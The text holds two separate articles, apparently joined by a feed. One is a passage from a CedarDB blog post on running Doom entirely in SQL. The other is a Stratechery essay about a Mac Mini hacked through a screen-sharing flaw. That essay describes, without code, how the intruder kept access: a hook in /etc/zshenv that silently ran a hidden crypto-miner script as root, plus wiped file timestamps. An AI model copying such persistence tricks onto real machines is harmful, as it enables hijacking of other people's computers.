          CASE WHEN d.visible AND d.dist <= d.attack_range
                    AND d.attack_cooldown <= 0
               THEN 'missile'::actor_state ELSE 'see'::actor_state END
        [...]                -- die, xdeath, missile, pain, barrel: 5 more
        ELSE d.state
      END AS next_state
    FROM decision d
  )
UPDATE monster_ai ai
SET state = n.next_state, state_tics = n.next_tics, seq_index = n.next_seq,
    fired_this_tick = n.advances AND n.lands_on_attack_frame
FROM next_values n
WHERE ai.map_id = n.map_id AND ai.thing_id = n.thing_id;

As you can see it encodes the behavior of the clip above: If an enemy takes extreme amounts of damage ( CASE WHEN d.health < -d.max_health AND d.xdeath_frame IS NOT NULL ) it violently explodes! ( THEN 'xdeath'::actor_state ).

Tic driver performance

Here’s a waterfall rendering of a game tic:

A game tic

The slowest game tic I could find

It’s actually the slowest game tic I was able to find. It’s in level E4M1 with 46 awake monsters all trying to rush at me through a currently opening door. It takes 10.45 milliseconds, so ~37% of the available tick budget.

A more typical tic with 6 monsters awake takes 2.15 milliseconds on average, or about 8% of the budget. Lots of headroom to spare!

To be honest, I was surprised how easy it is to express pretty complicated game logic in SQL. The game logic is just ~5900 lines of SQL. While this sounds a lot, it’s definitely less than the original C source code which does the same in about 9000 lines!

Also, it forces you to think differently. Instead of iterating over, e.g., enemies one-by-one you just write a simple UPDATE ... WHERE condition and let the database figure out how to best apply that - in parallel, automatically!

That also finally made the Entity Component System (ECS) pattern click for me. Here, each entity (player, monster, thing, …) has multiple components (position, sprite, stats, …) and a system (monster ai, move player, damage calculation) decides on how entities with a given set of properties interact with each other. ECS is a lot about data locality and how to iterate over entities that have a given set of components. Well, in SQL we are very used to data intensive processing! Every component becomes a table, and every system becomes an update or insert that just joins the tables it’s interested in with the entity as join key!

Rendering

Every frame is just a giant view that reads the level geometry and game state plus the player position as input and returns a complete framebuffer. Here’s a sketch of the whole rendering pipeline:

WITH RECURSIVE
  render_context AS (SELECT $1 AS map_id, $2 AS player_thing_id, $3 AS difficulty),
  pos            AS (SELECT $4 AS x, $5 AS y, $6 AS z, $7 AS angle),
  visible_children AS ( ... ),    -- walk the BSP, culling invisible segments
  clipped, projected, on_screen,  -- project segments to screen space
  wall_parts, columns, fragments, -- one row per wall pixel
  panel_clips, plane_spans, ...,  -- ceiling/floorclip as window functions, visplanes
  thing_pixels, sprite_fragments, -- sprites
  fragment_union, resolved,       -- every candidate pixel, resolve for the nearest
  view_colored, ui_colored,       -- COLORMAP, status bar
  framebuffer AS ( ... )          -- 64,000 rows of (x, y, rgb)
SELECT string_agg(rgb, ''::bytea ORDER BY y, x) AS frame_rgb
FROM framebuffer;                  -- 192,000 bytes, one row

The implementation is ~1300 lines of SQL (excluding comments) spread across 89 CTEs, so pretty complicated for a SQL query!

All 89 CTEs of a single rendered frame

All 89 CTEs of a single rendered frame

But despite looking like complete insanity, this pipeline is actually pretty close to what Doom does. SQL even has one advantage: The linux_doom source uses about 3300 lines (excluding comments) for its rendering engine. About 2.5x more lines than SQLDoom . Whether it was a good idea in the first place is a different question, and we’ll talk about that later.

Let’s first look at the most interesting parts of the rendering pipeline:

Frame visualization by render stage

Frame visualization by render stage

The left half shows bsp-based culling, the right half visualizes wall rendering and visplanes.

BSP traversal

Since nobody in 1993 had GPUs with hardware-accelerated Z-buffering , Doom had to get occlusion right by drawing in the correct order. The way Doom does it is pretty ingenious: It paints front to back and keeps track of which pixels it already painted (i.e., if I have already drawn a wall pixel, I don’t have to draw the monster behind it). But that’s easier said than done: We need an efficient way to order everything in the level by depth.

Doom gets this ordering by using precomputed BSP Trees baked into the doom.wad file. Every node of the tree is a line splitting the map in two. The map’s sectors thus get chopped up into a lot of subsectors which are on either side of those lines, and are then inserted into the tree so that we get the following properties:

  1. each subsector is a leaf and
  2. each subsector is convex (i.e., you can see any wall from anywhere inside it)
  3. at every tree node, the entire subtree that is on the camera’s side is guaranteed to be in front of the subtree on the other side.

By recursively traversing the BSP tree, we thus get a front-to-back order of all subsectors. This gives us the rendering order directly: Once a screen region has been covered by something nearer, objects behind it can be skipped.

Here’s how this looks like in motion (you might have to view it in full screen):

Visualisation of the BSP walk

On the left, subsectors are ordered front to back, while BSP branches out of view are eagerly culled. In the middle you can see the order that SQLDoom assigns each region. On the right, you see the resulting frame with walls colored according to the subsector they’re in.

The middle panel shows an optimization SQLDoom makes: For better performance we pre-compute all paths in the BSP tree once at load time. For a given position, every step along such a path is either taking the front (encoded as 0 ), or the back (encoded as 1 ). If we pack these decision into a bigint, and sort that lexicographically ( order by ), we get the right front to back ordering.

SELECT ssector_id, ROW_NUMBER() OVER (ORDER BY sort_key) AS bsp_seq
FROM (
  SELECT st.ssector_id,
         -- back = 1 at bit (40 - depth), front = 0.
         SUM(CASE WHEN st.side = fs.front_side THEN 0::bigint
                  ELSE (1::bigint << (40 - st.depth)) END) AS sort_key,
         BOOL_AND(vc.keep) AS visible   -- was any parent bbox culled?
  FROM node_path_steps st -- materialized view, every root-to-ssector path
  JOIN nodes n ON ...
  CROSS JOIN LATERAL (SELECT ... AS front_side) fs -- on which side are we?
  JOIN visible_children vc ON ...
  GROUP BY st.ssector_id
) s WHERE s.visible;

One sum() ... order by replaces the whole recursive descent! 40 bits should also be able to handle any map we throw at it: The deepest BSP-Tree is that of E4M8 and has just 32 levels. As long as your maps aren’t larger than 256 times the biggest vanilla map, you’re all sorted!

If you look carefully, you can see that our bsp traversal also handles culling: Conveniently, every node in the .wad also defines a bounding box of all of its children. If we can prove that our view frustum is entirely outside of that bounding box, we don’t have to consider that subtree for rendering - that is what visible_children.keep signifies. bool_and(vc.keep) thus drops all subsector where any ancestor doesn’t qualify.

Everything afterwards in the pipeline is just joined against bsp_seq so only visible subsectors are considered and in the right order.

Walls and Visplanes

Doom is kind of cheating, it looks 3D, but in reality it’s a 2.5D game. It’s essentially just a flat surface with perfectly vertical walls and ceilings always being parallel to the ground. This makes rendering far easier than in a real 3D engine:

  1. Paint all walls (front to back, as discussed)
  2. Everything that isn’t painted yet, is either a floor or a ceiling. Paint that.
  3. Sprites (monsters, barrels, pickups) are flat images that always face you (think cardboard cutouts), so no complicated transformations here (except for when they overlap a wall, but we’ll get to that).

Walls

A wall occupies a set of contiguous screen columns, and within each column it is a contiguous span of pixels. So we can just paint walls one-by-one, front-to-back by expanding rows and columns via generate_series() :

columns AS ( -- emit a row per screen column the wall w covers
  SELECT w.*, x AS col_x, ...
  FROM wall_parts_tex w
  CROSS JOIN LATERAL generate_series(
    GREATEST(0, FLOOR(w.screen_x1)::int),
    LEAST(screen_w - 1, CEIL(w.screen_x2)::int)) AS x
),
fragments AS ( -- one row per pixel the wall covers in this column
  SELECT c.col_x AS x, y, c.depth_x AS depth, c.u_i, c.v_i
  FROM clamped_spans c
  CROSS JOIN LATERAL generate_series(c.y_start, c.y_end) AS y
)

Doom uses two loops instead: R_RenderSegLoop to get the screen columns and R_DrawColumn to draw the pixels.

Rendering the walls cost us on average 1.7 ms.

Visplanes

Now that we have the walls out of the way, let’s talk about the fun part: The floors and ceilings, what Doom calls visplanes .

Unfortunately, Doom’s rendering algorithm doesn’t translate to SQL nearly as well since it’s highly imperative: Doom keeps two arrays, ceilingclip and floorclip which have one entry per screen column. They mark the band in each column that is still open (i.e., has to become floor or ceiling and hasn’t been painted yet) Whenever a new wall is painted, they are mutated until every pixel is filled. Not only does Doom mutate them, but it’s also very important to mutate them in the right order . It’s ingenious! In the end it’s just a flood fill algorithm, but everything looks 3D basically for free (in C, that is).

SQLDoom has to approach this problem differently, as we don’t have the concepts of loops or mutable state in SQL. So instead of looping, we turn to sorting and aggregating over those sorted runs - a poor man’s loop!

The things we iterate over here are called panels : One part of a wall appearing in one column of the screen. Some panels draw something: a solid wall ( solid ), the wall above a door ( upper ), or the wall part below a window or a parapet ( lower ), some panels are just there to influence how other panels are rendered: If you step out of a door below a balcony, there’s something above you and that has to end somewhere .

So for each screen column ( col_x ) we have an ordered list of panels from near to far. The clip state before a panel is thus defined entirely by the row preceding it. Do I smell window functions?

Since this is pretty hard to explain in text, let’s watch a video instead!

Determining the position of visplanes with window functions

Here’s the (abbreviated) SQL query:

panel_clips AS (
  -- 1. the band as the NEARER panels left it
  SELECT p.*,
    COALESCE(MAX(CASE WHEN part IN ('solid','upper','upper_flush')
                      THEN y_bot::int + 1 END) OVER w, 0)            AS cc_before,
    COALESCE(MIN(CASE WHEN part IN ('solid','lower','lower_down')
                      THEN y_top::int - 1 END) OVER w, screen_h - 1) AS fc_before
  FROM panel_seq p
  WINDOW w AS (PARTITION BY col_x ORDER BY depth_x, bsp_seq, part, seg_id
               ROWS BETWEEN UNBOUNDED PRECEDING AND 1 PRECEDING)
),
plane_spans_raw AS (
  -- 2. whatever the band leaves uncovered is a ceiling above the wall...
  SELECT col_x, fsec AS sector_id, f_ceil AS plane_z, 'ceil' AS plane,
         cc_before         AS y0,   -- from where nearer walls stopped
         f_ceil_y::int - 1 AS y1    -- down to this panel's own ceiling
  FROM panel_clips
  WHERE part IN ('solid','upper','upper_open','upper_flush')
    AND f_ceil_y::int - 1 >= cc_before          -- nothing left open: skip
  UNION ALL
  -- ...and a floor below it
  SELECT col_x, fsec, f_floor, 'floor',
         f_floor_y::int AS y0,      -- from this panel's own floor
         fc_before      AS y1       -- down to where nearer walls stopped
  FROM panel_clips
  WHERE ...
)

We first calculate for every panel in the scene that potentially renders some pixels how much of the column is still unassigned. And the only pixels that already could be assigned are from all the panels closer (that’s the ROWS BETWEEN UNBOUNDED PRECEDING AND 1 PRECEDING term in (1)). Then we draw some pixels from the end of the previous panel until the beginning of the next panel (2). We do this both for ceilings and floors.

A pretty hacky way to disguise an imperative algorithm as set-based, right? Good thing we have window functions…

Rendering floors, ceilings and the sky typically costs about 3 ms .

The ugly part

Unfortunately, I had to lie to you: Walls, visplanes and sprite resolution don’t draw anything yet. They just emit candidates of the form (x, y, depth, colour) with potentially many pixels at the same position, but at different depths: Since we don’t implement Doom’s fixed-point arithmetic, we could have different walls, floors and skies overlapping. Also, we have to render sprites, which in turn could be partially occluded by walls. Doom does a very tightly choreographed dance to make sure this can never happen, so that they don’t have to do z-buffering. I tried and failed to reproduce that choreography in SQL, so I gave up and used the brute force method instead: Just generate everything and then pick winners.

((LEAST(depth, 131071.0) * 4096)::bigint << 34) -- depth, clamped to 17.12 fixed-point
| ((2 - surface_priority) << 32)                -- wall > sprite > plane
| (LEAST(source_priority, 3) << 30)
| ((stable_id + 32768) << 14)                   -- stable tiebreak
| (light_index << 8) | palette_index            -- the payload
AS winner_key
...
SELECT pix, MIN(winner_key) FROM ranked_fragments GROUP BY pix

It’s the same trick as with the BSP tree where we just pack everything into a bigint, and then select the min: The most significant bits are depth, so we can just choose the min to find the winner. And since the payload (i.e., the color of the pixel) is also part of the key, we don’t even have to join again! Seems a bit hacky, but since this is per-pixel work (and a single Doom frame has 320*200=64000 pixels), we have to be careful to not do too much work.

Even with this optimization, it’s still the most expensive part of the frame: 8.2 milliseconds on average, more than a third of the entire frame! And that’s exactly why John Carmack avoided that. But we’re lucky to now have machines that can run this even in SQL and still hit the 35 FPS target. The future is now, old man! .

Rendering Performance

Here’s a waterfall view of the pipeline compared against Doom’s 35 FPS frame target. The rendering pipeline on an AMD Ryzen 7 7840U

The rendering pipeline on an AMD Ryzen 7 7840U

On my Laptop (Ryzen 7 PRO 7840U) I typically get about 60 FPS, but it drops down to 35 FPS on very busy scenes.

The most expensive parts of the pipeline are (unsurprisingly):

  • rendering visplanes (where we have to emulate an iterative algorithm),
  • depth resolve (which the original Doom successfully avoids in the first place),
  • and everything that has to happen per pixel (e.g., colormap lookup, packing the framebuffer)

Where using a database is actually a good idea

Rendering Doom in a database is obviously a bad idea. But there are a few areas where it’s actually a good fit and I’m going to defend them to my death!

Everything is data

I previously didn’t expect how much I’d enjoy translating properties of items into a relational data set. For one, it makes it really easy to see what your game actually contains, but most importantly it’s also really easy to change.

The player’s shotgun is just a row:

doom=# SELECT name, ammo_type, ammo_per_shot, pellet_count,
doom-#        dmg_dice_count, dmg_dice_mult, max_range
doom-#   FROM weapon_defs WHERE name = 'shotgun';
  name   | ammo_type | ammo_per_shot | pellet_count | dmg_dice_count | dmg_dice_mult | max_range
---------+-----------+---------------+--------------+----------------+---------------+-----------
 shotgun | shells    |             1 |            7 |              3 |             5 |      2048
(1 row)

Seven pellets, each doing 3d5 damage.

Even the animation is data! Here’s the entire state machine of the shotgun:

doom=# SELECT state, seq_index AS seq, frame, tics,
doom-#        is_attack_frame AS shoots, refire_check AS refire
doom-#   FROM weapon_frames WHERE weapon_id = 3 ORDER BY state, seq_index;
 state | seq | frame | tics | shoots | refire
-------+-----+-------+------+--------+--------
 ready |   0 | A     |    1 | f      | f
 fire  |   0 | A     |    3 | f      | f
 fire  |   1 | A     |    7 | t      | f
 fire  |   2 | B     |    5 | f      | f
 fire  |   3 | C     |    5 | f      | f
 fire  |   4 | D     |    4 | f      | f
 fire  |   5 | C     |    5 | f      | f
 fire  |   6 | B     |    5 | f      | f
 fire  |   7 | A     |    3 | f      | t
 fire  |   8 | A     |    7 | f      | f
 flash |   0 | A     |    4 | f      | f
 flash |   1 | B     |    3 | f      | f
(12 rows)

Properties of things just being stored in a table also makes it really easy to mod everything . Take a look at the following clip where I’m frustrated I’m not doing enough damage, and just mod the shotgun to shoot 500 pellets at once at a higher spread!

Modding the shotgun

Chea...Modding the shotgun

Of course, we could have also just stored everything in files in e.g. JSON but that means

  1. constraints aren’t verified at modification time and
  2. We’d have to reload for changes to take effect.

Multiplayer almost comes for free

Well, now we went through all of this hassle to port over Doom to SQL and haven’t even taken advantage of the biggest strength of a database: You get a multiplayer server for free! Hear me out, we get a lot of stuff traditional game devs have to build themselves for free:

  • Authentication
  • Concurrency control
  • Access control
  • Consistent snapshots of the game state
  • Binary wire protocol

A separate Python referee script drives the shared 35 Hz clock and rotates the map. The player’s clients online supply the input.

The part I like the most, though, is atomicity: Whenever we run a game tic, we can just say begin transaction , and commit in the end. Every player (Doom deathmatch supports up to 4) still gets a consistent view, either the way the world looked like before the tic transaction was started, or after it fully committed. No partially applied updates, physics bugs, or disagreements over whether the rocket actually hit.

The second part that was surprisingly elegant was access control. While sqldoom itself has about 110 tables and just over 100 functions, the four player roles are only allowed to interact with it through a few well-defined API functions. We just revoke access to everything else!

The input function that takes input from a player is a good example:

CREATE OR REPLACE FUNCTION api_input(
  p_fwd real, p_strafe real, p_run boolean, p_turn real,
  p_fire boolean, p_weapon integer, p_use boolean) RETURNS integer
LANGUAGE cedarscript SECURITY DEFINER AS $doom$
INSERT INTO mp_inputs
SELECT mp.map_id, mp.player_thing_id,
       LEAST(1.0, GREATEST(-1.0, COALESCE(p_fwd, 0)))::real,
       LEAST(1.0, GREATEST(-1.0, COALESCE(p_strafe, 0)))::real,
       [...]
FROM mp_players mp WHERE mp.role_name = session_user::text;
return 1;
$doom$;

While the function is allowed to make changes to tables ( security definer ), the player is only allowed to call the function. The only knobs they have is: Forward momentum ( w/s pressed?), strafe ( a/d pressed?), are they running?, turning via mouse?, is the fire button pressed?, which weapon is selected?, and do they try to press a button/open a door ( spacebar )? We don’t even have to trust the player’s input values: The function is clamping the inputs to allowed values.

Multiplayer performance is also surprisingly good: 3 cores per client give stable 35 FPS, and the game tic still stays well below budget. Add an additional core for the tic driver and a 16 core machine is well equipped to run an original -altdeath doom deathmatch.

The public instance rotates through Episode 1 maps with a new map coming up every 10 minutes. If all four slots are occupied, you can still query the live match from the SQL console. Play, or query the live match →

Bonus: Compiling SQL

Surely a database written in C++ interpreting SQL is insanely inefficient and can’t come close to C? Probably not, but I wanted to evaluate how far off it really is.

CedarDB is a compiling database system: Every complex query is (through multiple steps) lowered to LLVM IR and then compiled to machine code. So I asked myself the question: How does that generated machine code differ from the original compiled linux_doom C code?

Comparison between compiled linux_doom and SQLDoom

Comparison between compiled linux_doom and SQLDoom

The upper half shows an object’s movement logic and how it’s influenced by momentum. The left side is the original doom source code, the right side shows the SQLDoom implementation. The comparison isn’t one-to-one since the logic is spread out a little bit differently, but the C code compiles to 48 instructions while SQLDoom takes 117 instructions. 42 of these additional instructions are actually storing the result in a table again (green lines), which C obviously doesn’t have to do. So it’s worse, don’t get me wrong, but it really isn’t that much worse for how many layers of abstraction are usually between SQL and your CPU. For something that started as SQL and passed through a query optimizer before reaching LLVM, I found the gap surprisingly small.

John Carmack was a genius.

I mean, compare SQLDoom against its Wolfenstein 3D-like predecessor DOOMQL DOOMQL vs SQLDoom

DOOMQL vs SQLDoom

Both use the same engine, and same constraints: SQL in, bitmap out. And don’t get me wrong, DOOMQL’s primitive raycasting approach is awesome - much easier to formulate in SQL and not as many dependencies between steps - a much better fit for SQL’s set-based processing.

But it turns out that the “best fit” is not always the one with the best results. SQLDoom’s BSP-tree approach is much faster and its visual fidelity is a lot higher at the same time. All because John Carmack thought really hard about how much you can get out of your 486 with a little bit of smoke and mirrors.

And, to be honest, CedarDB also caught up. Back when I built DOOMQL, the engine was quite a bit slower and we didn’t have a role-based access system yet.

How to Run it Yourself

It’s on Github at github.com/cedardb/sqldoom .

You need three things:

  1. CedarDB Community Edition ,
  2. Python with psycopg2 and pygame ,
  3. and a Doom IWAD which I can’t give you. The shareware doom1.wad is freely redistributable ( apt install doom-wad-shareware ) and is enough to play episode 1, and the retail WADs work if you own them.

From then on just follow the README and you should have your own SQLDoom running in no time!

Or, if that all sounds like too much work, just join a match on the public instance:

Continue reading

Read more in the CedarDB Blog

View All

Apple and a Hacker's Future

Hacker News
stratechery.com
2026-10-05 06:05:02
Comments...
Original Article

My computer got hacked; the vulnerability that was exploited is detailed in this Ars Technica story :

Dutch officials have warned that a high-severity macOS vulnerability that allows attackers to execute malicious code is under active exploitation. “The NCSC has received a notification indicating that active abuse of this vulnerability has been observed on multiple systems on which port 5900 was accessible from the Internet,” the Netherlands National Cyber Security Centrum warned earlier this week. “In all these cases, root had been accessed on the affected system and a Monero crypto miner had been placed.”

The vulnerability, tracked as CVE-2026-65400, received a patch from Apple last week for macOS Tahoe, Sequoia, and Sonoma. The vulnerability, with a severity rating of 7.1 out of 10, stems from a bug in the macOS screen sharing capability, which allows a remote party to view the screen and control the keyboard and mouse while a machine is turned on. A flaw in the “state management,” which keeps track of preceding events, user interactions, variables, and other system states, is the underlying cause.

A video of the exploit in action can be found here . Details of CVE-2026-65400 became public at last week’s Black Hat security conference. Apple said last week that CVE-2026-65400 “may” allow an attacker without credentials to gain access to a Mac. It’s unclear why Apple hedged, but softening language is common among most tech developers when disclosing vulnerabilities. Apple credited security firm Bynario for reporting the vulnerability.

The computer in question was my always-on Mac Mini that runs nothing but Claude and Codex; the first thing that makes this story interesting is that that was my saving grace.

Agent Protection

I have discussed, in both Writing Things Down and in several episodes of Sharp Tech , Gecko, the agent that I have built for the people that work with me. It’s awesome, but purposely constrained in capability and in what it can access. My real agent is a dedicated Claude Code thread that writes down all of my ideas and tracks the status of the myriad of projects I’ve spun up over the last few months.

There are a few reasons why I use Claude for this functionality, even though I’m not a big fan of Claude-speak: Claude in its Code harness seems to handle wide-ranging discussions better than Codex, and it follows my instructions about writing things down in the way I want to more gracefully. Code also has a persistent monitoring tool that I utilize as an inbox to capture interactions with a status board I built to visually track everything I have written down, as well as interactions with a Telegram bot (OpenAI’s new Dots achieve some of this functionality , which has been sorely needed in ChatGPT/Codex).

Said monitoring tool stands down every 30 minutes, so my agent restarts it on a schedule; that is what triggered an URGENT notification from Claude:

>**Urgent: the Mac mini looks compromised.** Someone with admin (root) access has planted a crypto-miner on it. I have stopped running commands, and I have not changed or deleted anything.

>**What I found:**

>- **A hook in the shell startup file.** /etc/zshenv is a file that every new terminal and every one of my commands reads first. It now tells the machine to quietly run /var/tmp/.xmr with admin rights.
>- **The miner script.** /var/tmp/.xmr is a script that downloads a crypto-mining program and sends its earnings to an outside wallet and server. Its comments are in Chinese and mention earlier batches, so it looks like an automated campaign, not something aimed at you in particular.
>- **Faked dates on both files.** Both are owned by root and dated Dec 31 1969, which is a sign the dates were wiped on purpose.
>- **When it happened.** Both files were changed during this session, between two of my routine restarts of the watchers. The startup file reported no error before that point.

Claude had more diagnostic information, unilaterally stopped executing all commands, and noted that my account could now run admin commands without a password, which it assumed was how the files were written; it then had a number of suggested next steps to address the problem. The one I ignored was its recommendation that I not invoke Claude anymore; in fact, I used Claude to root out the malware — we eventually found the exact four second period where it gained access — create a tool to watch for it in the future, and then wiped the Mac Mini.

All of this happened before I found the Ars Technica article detailing the vulnerability, and it was pretty remarkable. I understand that people are nervous about giving these agents access to one’s computer — as I noted, the Mac Mini in question has nothing on it except for Codex and Claude — but in this case you could make the case that I would have been in much more trouble had I not had an agent running persistently.

Apple Protection

Apple doesn’t seem too happy about agents; last week the company’s developer site released a note entitled Updates to Full Disk Access in macOS ; I’m going to quote it in full:

We give developers powerful APIs to build incredible capabilities into their apps for Apple products, backed by a set of controls designed to protect users’ private data. Full Disk Access largely sidesteps these controls in order to allow backup apps to function properly on the Mac. Some developers are using Full Disk Access in ways that could put users at risk, exposing everything on their systems—including files, mail, messages, and even browsing history—without users’ full knowledge and understanding. For communication apps, this can also compromise the privacy of the people users are communicating with.

Going forward, we will introduce additional controls to ensure that users who genuinely wish to grant an app this extraordinary level of access can only do so with very explicit user action. Addressing this is critical. As AI agents become increasingly capable and autonomous, the risks associated with this level of access will grow substantially. We are committed to ensuring users clearly understand these risks before granting such access, so they can make informed decisions about their own data and privacy.

To say that I’m nervous about what Apple’s solution will entail is a massive understatement. There is one aspect in which the Mac is the perfect agent host: Apple has, for decades, invested in a combination of scriptability, automation, and accessibility APIs (these are very often the same thing) that makes it remarkably well-suited to computer use. Then there is the fact that macOS is a certified Unix system; this means that agents — which are perfectly suited to the command line — have access to the entire universe of tooling built for Unix systems. And, of course, Mac hardware is amazing.

The problem is that for my particular use case — a headless, always-on Mac Mini that I primarily access from other computers and my phone through the ChatGPT and Claude apps — macOS is incredibly hostile. The biggest issue is GUI-only permission prompts that are invisible to software running on said computer, including agents.

These permission prompts are a part of a macOS subsystem called Transparency, Consent, and Control (TCC), although Apple doesn’t seem to use this name anymore. There are a whole host of things on your Mac that are covered by TCC — the list only gets longer with every OS release — and you have to explicitly approve access to the covered items for every app that wants to access them. If you’ve been prompted for permission to use the Camera, or, much more annoyingly, access the Desktop or Downloads, you’ve encountered TCC.

This system is annoying but manageable on your primary Mac; it’s a disaster on a headless Mac running agents, for two reasons. First, agents write new programs all of the time, and in my case, those programs need access to devices on my network (SMB shares, for example, trigger a TCC warning). What I need is a permission layer for agents, not the programs they create; TCC is operating at the wrong level of abstraction.

Second, the TCC subsystem exposes its prompt in a protected space that no program can see; that means that programs silently fail and the agents don’t know why; what I have to do is remember that there is probably a permissions prompt on screen, log into the Mac Mini with screen-sharing software, and click OK.

There are in fact good reasons for this. The goal of the TCC subsystem is to protect you from malware accessing your computer nefariously; if the prompts were accessible by software running in userland then malware could work around it. Again, though, I am running a computer that is purpose-deployed for agents: for my use case TCC is nothing but a headache — one that indirectly led to my being hacked.

Apple Frustration

Again from Ars Technica:

As noted by the NCSC, the vulnerability is being exploited when port 5900 is exposed to the Internet. When screen sharing is turned on, the macOS firewall opens the port. Routers and dedicated firewalls generally block the port unless configured to override that setting. Security practitioners generally advise Mac users to keep the port closed even when using screen sharing and to instead connect over a VPN or through SSH tunneling. The alternatives require actions that aren’t within the capabilities of most users.

The safest practice is to block screen sharing, enable it only when screen sharing is needed, and to turn the feature off once a session has ended. Screen sharing can be turned on or off by accessing System Settings > General > Sharing and toggling the switch for Screen Sharing. Of course, installing last week’s security update is also a must.

Obviously I should have — and will be — using a VPN going forward (the foundation of my entire approach to security is Tailscale ); what I will note, however, is that TCC basically leaves me no choice but to have screen sharing enabled if I want to actually use my Mac Mini in the way I want to use it. I use screen-sharing constantly — including from my phone — and almost every time it’s to click “OK” on a stupid prompt that I’ve long since stopped taking seriously.

What really irks me about this episode, however, is how Apple released the fix. Obviously I know that you should always keep your computer up-to-date for security purposes; that’s why I have all of my computers set to automatically install security updates.

What I didn’t understand is that this setting does not in fact apply to most security updates. CVE fixes almost always arrive in point releases; in fact, the most recent point release was about fixing this bug. In fact, I suddenly realized that I had been leaving myself more exposed than I should have been for years, under the mistaken assumption that checking “Install…security updates automatically” would in fact install security updates automatically.

I am admittedly being pedantic here; at the end of the day I hadn’t installed the point release promptly enough. Still, it does bug me that a company that is so concerned about access to my Desktop wasn’t very concerned about how a pretty important setting reads to a fairly sophisticated user. Again, this is my mistake, but the mistake was an honest one downstream of trusting Apple to call a security update a security update, particularly if they give the option to automatically install them.

That’s trust they have by-and-large earned; what is increasingly frustrating is that that is trust they increasingly demand, and the scope of those demands is continually increasing. It may seem silly to complain about the labeling of an update, but if you’re going to demand permission for accessing a network share can you at least patch my computer when I explicitly gave you permission to?

This, by extension, is why the note about full disk access is unnerving. I can understand that users may not understand that granting an agent full disk access means that that agent can read your iMessages (for now — I bet that the iMessage store will be encrypted in the near future, a la iTunes in the 2000s ); other users, however, may want exactly that. Or, like me, they might want to actually use a Mac as their own personal computer, not as an Apple-managed device increasingly akin to an iPhone. Maybe this episode shows I’m too dumb to risk that; maybe it just means Apple and I are, after many years together, speaking past each other.

Home Visions

Last week Mark Gurman wrote an article on Bloomberg entitled Apple Is Finally Ready to Enter Its Next Big Category: the Smart Home :

Apple Inc. plans to make its long-delayed push into the smart-home market on Oct. 13, marking a critical product expansion for the company under new Chief Executive Officer John Ternus. At the center of the strategy is a smart-home hub code-named J490, according to people familiar with the matter. Apple also plans to announce the first update to the HomePod mini since that device’s 2020 debut and its first new TV set-top box since 2022…

The products also serve as a showcase for Apple’s new Siri AI assistant, technology that the company spent years developing. The revamped Siri suffered numerous delays, and the smart-home devices should help spotlight Apple’s efforts to finally catch up in artificial intelligence. The home hub will take the form of a roughly 6-inch square display, with versions that can be mounted on a wall or placed on a countertop, according to the people, who asked not to be identified because the products haven’t been announced…

Apple envisions customers placing several of the displays throughout their homes. They could be used to control thermostats, door locks and other connected products, as well as for video calls, intercom-style communication, music playback and viewing slideshows of photos stored in Apple’s iCloud service.

That wasn’t the only home automation related announcement last week; Muse creator Nat Friedman posted on X :

I get, very acutely, that I am not representative of the general population. I actually use agents, for one. More than that, I’m not a target customer for Muse: I’m more interested in building my own agent than in using Meta’s; one of my current projects is the construction of a small home electronics lab to make some of my own agent-controlled gizmos.

With that noted, what struck me about Gurman’s article is just how unenthused I am by an Apple smarthome product. Some of this is fatigue from a decade of Siri disappointment and skepticism about the company’s ability to deliver on a voice-centric product. More than that, however, I bristle at the idea of introducing Apple’s constraints to more parts of my life.

Those constraints aren’t just about things like full disk access. To the extent that Apple delivers on integration with things like thermostats and door locks is the extent to which they work with 3rd-party device makers; the problem is that third party device makers mostly suck, particularly from a software perspective. Even if Siri were perfect, Apple will have the challenge of delivering an experience that isn’t defined by the lowest common denominator.

What I’m much more interested in is controlling the software layer myself. The fact of the matter is that with AI you can decompile almost all existing software — there is a revolution happening in gaming over the past few weeks, as game after game is decompiled to source and ported to any platform you wish — and you can write your own. That means my software that interacts with my agent in the way I want it to for everything; that’s way more exciting than praying Apple delivers the right API and that 3rd-party developers don’t suck.

The App Limitation

This, by the way, is a problem facing Siri; I wrote after the recent iPhone event and Ternus’ vision of the “Intelligent Personal Hub”:

What is most interesting, however, is how the biggest advantage Apple has traditionally had may be a hindrance…it’s extremely impressive that Apple claims 300,000 apps work with Siri. Note, however, that the implication of it being “easy for developers to adopt new capabilities” is that developers have to actually put in the work — that’s work in addition to updating their UI for Duo.

In a world where everyone has to convince developers to build integrations, this wouldn’t be an issue. However, this is where browser use looms large: to the extent that agents can just use the web is the extent to which they get an integration with basically everything for free, and it’s Apple, with its dependency on developers plugging into APIs, who is at a disadvantage…

In Apple’s vision, the utility of Intelligence is defined by its ability to augment your existing workflow. Thus the reference to updating your calendar and reminders. It’s very possible, however, that the better workflow is to outsource a lot of work that used to happen in apps to the agent directly. What’s better, using a structured reminders app that you have to check, or simply being reminded directly by an agent? In truth the answer will likely vary by person, but it’s worth pointing out that Apple is so married to the app paradigm that they probably never even considered the alternative.

Apps were amazing, and a better experience than what came before; that doesn’t mean they are the best experience, and anyone who has seriously used an agent knows exactly what I mean. Apps get in the way, which is to say that integrating with them is to make your agent worse; I don’t want a different UI per app, when I have at my disposal true UI — the Universal Interface for everything digital.

This is where the Muse Gadgets program is a stroke of genius. Meta is seeding an entire ecosystem of devices, some of which might become real products, and it’s completely open source. The payoff isn’t in selling devices; it’s in Muse being the interface for everything.

A Hacker’s Future

21 years ago Paul Graham wrote Return of the Mac :

All the best hackers I know are gradually switching to Macs. The reason, of course, is OS X. Powerbooks are beautifully designed and run FreeBSD. What more do you need to know?…

With OS X, the hackers are back. When I walked into the Apple store in Cambridge, it was like coming home. Much was changed, but there was still that Apple coolness in the air, that feeling that the show was being run by someone who really cared, instead of random corporate deal-makers.

So what, the business world may say. Who cares if hackers like Apple again? How big is the hacker market, after all?

Quite small, but important out of proportion to its size. When it comes to computers, what hackers are doing now, everyone will be doing in ten years. Almost all technology, from Unix to bitmapped displays to the Web, became popular first within CS departments and research labs, and gradually spread to the rest of the world.

As someone who switched to the Mac in 2004, a year before Graham wrote his article, this was edifying: “I just switched to the Mac, I guess I’m a cool hacker”. In truth, the Unix part didn’t matter much to me; I preferred the design and the UI, and really wanted to try GarageBand. And, over the ensuing years, I appreciated the extent to which the Mac just worked — slower than the alternatives at first, then at parity, and then, with Apple Silicon , better than anything else.

The thing about AI, however, particularly agents, is that they make anyone a hacker. You really can do anything now, if only you have the volition and the ideas, and once you embrace that, a walled garden feels less like protection and more like a prison.

